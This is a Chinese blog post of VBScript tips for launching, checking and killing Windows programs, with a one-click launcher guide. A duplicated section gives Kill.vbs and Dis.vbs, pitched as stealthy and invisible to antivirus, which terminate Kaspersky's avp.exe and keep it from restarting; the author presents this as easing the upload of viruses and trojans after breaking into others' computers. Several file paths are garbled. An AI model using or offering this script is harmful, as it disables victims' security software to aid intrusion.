• VBS脚本随笔


    1、定时运行程序与关闭程序的VBS处理方法:

    do
    
    set ws=createobject("wscript.shell")
    ws.run"你要运行的程序的路径(比如说d:qq.exe)",x 'x为参数,可选值如下.
    wscript.sleep 36000 '36000为一分钟,具体可以自己改。
    ws.run "taskkill /im 你要运行的程序的名称(比如说QQ.exe) /f",vbhide
    loop
    x为参数 下面为可选值: 
    
    0 隐藏一个窗口并激活另一个窗口。
    1 激活并显示窗口。如果窗口处于最小化或最大化状态,则系统将其还原到原始大小和位置。第一次显示该窗口时,应用程序应指定此标志。
    2 激活窗口并将其显示为最小化窗口。
    3 激活窗口并将其显示为最大化窗口。
    4 按最近的窗口大小和位置显示窗口。活动窗口保持活动状态。
    5 激活窗口并按当前的大小和位置显示它。
    6 最小化指定的窗口,并按照 Z 顺序激活下一个顶部窗口。
    7 将窗口显示为最小化窗口。活动窗口保持活动状态。
    8 将窗口显示为当前状态。活动窗口保持活动状态。
    9 激活并显示窗口。如果窗口处于最小化或最大化状态,则系统将其还原到原始大小和位置。还原最小化窗口时,应用程序应指定此标志。
    10 根据启动应用程序的程序状态来设置显示状态。
    2、VBS控制应用程序的打开关闭
    关闭所有excel文件
    Set ObjShell=CreateObject("Wscript.Shell")
    SttCommand=("cmd.exe /C  Taskkill  /f /im Excel.exe")
    ObjShell.Run SttCommand, 0, False

    用vbs打开程序 
     
    检查程序,如已有就不打开!
     
    pro="c:windowssystem32 otepad.exe"'要打开的程序,写完整路径
     
    n=split(pro,"")
    name=n(ubound(n))
     
    for each ps in getobject("winmgmts:\. ootcimv2:win32_process").instances_ 
    s=s&sep&ps.name:sep="|":next
    s=split(s,"|")
    for i=0 to ubound(s)
    if name=s(i) then wscript.quit
    next
     
    createobject("wscript.shell").run pro
     
    ====================================================================
     
    vbs打开关闭应用程序
     
    '1.打开关闭应用程序
     
    Set WshShell = CreateObject("WScript.Shell")
    '打开应用程序
     
    Set oExec = WshShell.Exec("C:WINDOWSsystem32 otepad.exe")
    WScript.Sleep 5000
    WshShell.AppActivate oExec.ProcessID
     
    WScript.Sleep 100
    通过快捷键关闭程序
     
    WshShell.SendKeys "%{F4}"
     
    Set oExec = Nothing
     
     
    '2. 通过进程名关闭程序
     
    set WshShell =createobject("wscript.shell") 
    '暂停3000毫秒 
    wscript.sleep 3000
     
    '关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
    WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0
     
    ==========================================================================
    用VBS实现脚本结束进程与防止进程启动
     
    Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)  
    Kill.vbs: 
    for each ps in getobject _  
    ("winmgmts:\. ootcimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚!  
    if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等  
    wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程  
    end if  
    next  
     
    Dis.vbs:
    dim y,x '不要这行也行……  
    do '来个死循环……一直在判断!do ... loop内为循环体!  
    set y=getobject("winmgmts:\. ootcimv2") '和上面解释一样,这也是涉及到微软的WMI技术!  
    set x=y.execquery("select * from win32_process where name='avp.exe'")  
    '查询语句,where后判断avp.exe(卡巴)是否存在进程中!  
    '这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……  
    for each i in x  
    i.terminate() '卡巴要启动马上就终止……  
    next  
    wscript.sleep  
    loop  
    解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。  
    打开cmd,输入cd回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。  
    懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……  
     
     
    =========================================================================
     
    VBS,自动结束进程
     
    先写上脚本代码先:
     
    do while(1)
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!" & strComputer & "rootcimv2")
    Set colProcessList1 = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'iexplore.exe'")
    For Each objProcess1 in colProcessList1
    objProcess1.Terminate()
    Next
    Set colProcessList2 = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'notepad.exe'")
    For Each objProcess2 in colProcessList2
    objProcess2.Terminate()
    Next
    Set colProcessList3 = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'ping.exe'")
    For Each objProcess3 in colProcessList3
    objProcess3.Terminate()
    Next
    Wscript.Sleep(1000)
    Loop
     
    把上面的代码用记事本保存先,上面的3个红色的进程名则是我要终止的进程名(注:一定要写全名哦~)
     
    如果你要禁止多个进程只需把上面的蓝色部分代码段多复制几下,然后把其中红色部分的进程名改为你
     
    想终止的进程名即可。
     
    最下面的红色的“1000”表示脚本循环运行一次的周期时间,默认单位为:毫秒。1000毫秒即=1秒
     
    就是说每1秒循环一次,自己可以根据你的实际情况自由改动
     
    OK,代码都改好之后就可以把记事本的后缀名改为“.vbs”并运行可以了,你在看看你禁用掉的进程还可以
     
    运行吗?呵呵,是不是感觉很不错,呵呵~
     
    如果想把这个运行的VBS脚本关掉,请在任务栏把进程wscript.exe结束掉先,然后再把wmiprvse.exe结束掉
     
    就可以啦~
     
    另外请不要重复运行改好的脚本,否则任务栏里会出现多个wscript.exe进程,如果有多个这样的进程请手动
     
    结束掉多余的,只留一个就OK啦
     
    如果你想开机就自动执行的话,请把这个脚本放到启动栏里就可以了。
     
    总的来说还是很实用的,例如机器中了病毒或者木马,找到它的进程名,然后把它的进程名添加到脚本里,
     
    开启脚本,这样就能防止病毒进一步爆发减少你的损失,接下来就可以慢慢进行排毒工作了
     
     

    3、用vbs打开程序

    检查程序,如已有就不打开!

    pro="c:windowssystem32 otepad.exe"'要打开的程序,写完整路径

    n=split(pro,"")
    name=n(ubound(n))

    for each ps in getobject("winmgmts:\. ootcimv2:win32_process").instances_
    s=s&sep&ps.name:sep="|":next
    s=split(s,"|")
    for i=0 to ubound(s)
    if name=s(i) then wscript.quit
    next

    createobject("wscript.shell").run pro

    ====================================================================

    vbs打开关闭应用程序

    '1.打开关闭应用程序

    Set WshShell = CreateObject("WScript.Shell")
    '打开应用程序

    Set oExec = WshShell.Exec("C:WINDOWSsystem32 otepad.exe")
    WScript.Sleep 5000
    WshShell.AppActivate oExec.ProcessID

    WScript.Sleep 100
    通过快捷键关闭程序

    WshShell.SendKeys "%{F4}"

    Set oExec = Nothing


    '2. 通过进程名关闭程序

    set WshShell =createobject("wscript.shell")
    '暂停3000毫秒
    wscript.sleep 3000

    '关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
    WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0
     
    ==========================================================================
    用VBS实现脚本结束进程与防止进程启动

    Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释) 
    Kill.vbs:
    for each ps in getobject _ 
    ("winmgmts:\. ootcimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚! 
    if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等 
    wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程 
    end if 
    next 

    Dis.vbs:
    dim y,x '不要这行也行…… 
    do '来个死循环……一直在判断!do ... loop内为循环体! 
    set y=getobject("winmgmts:\. ootcimv2") '和上面解释一样,这也是涉及到微软的WMI技术! 
    set x=y.execquery("select * from win32_process where name='avp.exe'") 
    '查询语句,where后判断avp.exe(卡巴)是否存在进程中! 
    '这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先…… 
    for each i in x 
    i.terminate() '卡巴要启动马上就终止…… 
    next 
    wscript.sleep 
    loop 
    解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。 
    打开cmd,输入cd回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。 
    懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善…… 

    4、制作 一键启动程序,用vbs文件实现

     

    教你制作 一键启动程序,用vbs文件实现

    相信许多办公室一族都有这样的经历:每次打开电脑都要逐一开启N个即时通讯工具和Email客户端,鼠标点不够几十次根本无法开始工作,还没正式投入战斗,就已经倦了。虽然我们可以将其全部设为开机自动启动,但这会大大减慢开机速度,而且在不需要它们的非工作日无法临时取消。

    如果,能有一款软件,使我们只点一次鼠标或是按一个键,就能将这些程序全部启动就好了。其实,Windows本身就有这样的功能,我们只需编写一个脚本即可。

    首先,我们要准备好待启动程序的完整路径。对绝大多数程序来说,只需在开始菜单内的相应软件名上点右键,选“属性”,然后将“目标”中的文字复制下来即可。

    但有几个程序比较特殊,用这种方法找不到其路径,比如MSN Messenger和Microsoft Office中的Word、Excel等组件。下面是这些程序在默认情况下的完整路径,如果您是自定义安装,则需根据情况略作修改。
    MSN Messenger: "C:Program FilesMSN Messengermsnmsgr.exe"
    Word: "C:Program FilesMicrosoft OfficeOffice12WINWORD.EXE"
    (注:这是Office2007的情况,如果是Office2003或OfficeXP,需把路径中的Office12换成Office11或Office10,下同)
    Excel: "C:Program FilesMicrosoft OfficeOffice12EXCEL.EXE"
    Access: "C:Program FilesMicrosoft OfficeOffice12MSACCESS.EXE"
    PowerPoint: "C:Program FilesMicrosoft OfficeOffice12POWERPNT.EXE"
    接下来,新建一个文本文档,按下面格式将你要启动的程序输进去:
    Program1 = "C:Program FilesTencentQQQQ.exe"
    Program2 = "C:Program FilesMSN Messengermsnmsgr.exe"
    Program3 = "C:Program FilesOutlook Expressmsimn.exe"
    Program4 = "C:Program FilesMicrosoft OfficeOffice12EXCEL.EXE"
    ……

    输完以后,再根据你上面输入的行数继续输入下面命令。
    Set WshShell=createobject("wscript.shell")
    Set oExec=WshShell.Exec(Program1)
    Set WshShell=createobject("wscript.shell")
    Set oExec=WshShell.Exec(Program2)
    Set WshShell=createobject("wscript.shell")
    Set oExec=WshShell.Exec(Program3)
    Set WshShell=createobject("wscript.shell")
    Set oExec=WshShell.Exec(Program4)
    ……

    然后将此文件保存在任一目录下,并将扩展名改为vbs,再点右键,选“发送到→桌面快捷方式”。最后到桌面上找到这个快捷方式,点右键选“属性”在“快捷键”中设置一个快捷键(如F9)。

    以后再开机,只须轻轻按一下F9键,就能启动你需要的全部程序.

  • 相关阅读:
    while (cin>>str)退出死循环
    内存溢出(heap corruption detected:)
    二叉树的遍历--递归+非递归(两种)
    直接插入排序(带哨兵和不带哨兵)
    二项队列
    左式堆
    优先队列之二叉堆与d-堆
    centos6.4 安装code::blocks
    结构之美——优先队列基本结构(四)——二叉堆、d堆、左式堆、斜堆
    数据结构与算法分析-开放定址散列表的实现
  • 原文地址:https://www.cnblogs.com/jinjiangongzuoshi/p/3196988.html
Copyright © 2020-2023  润新知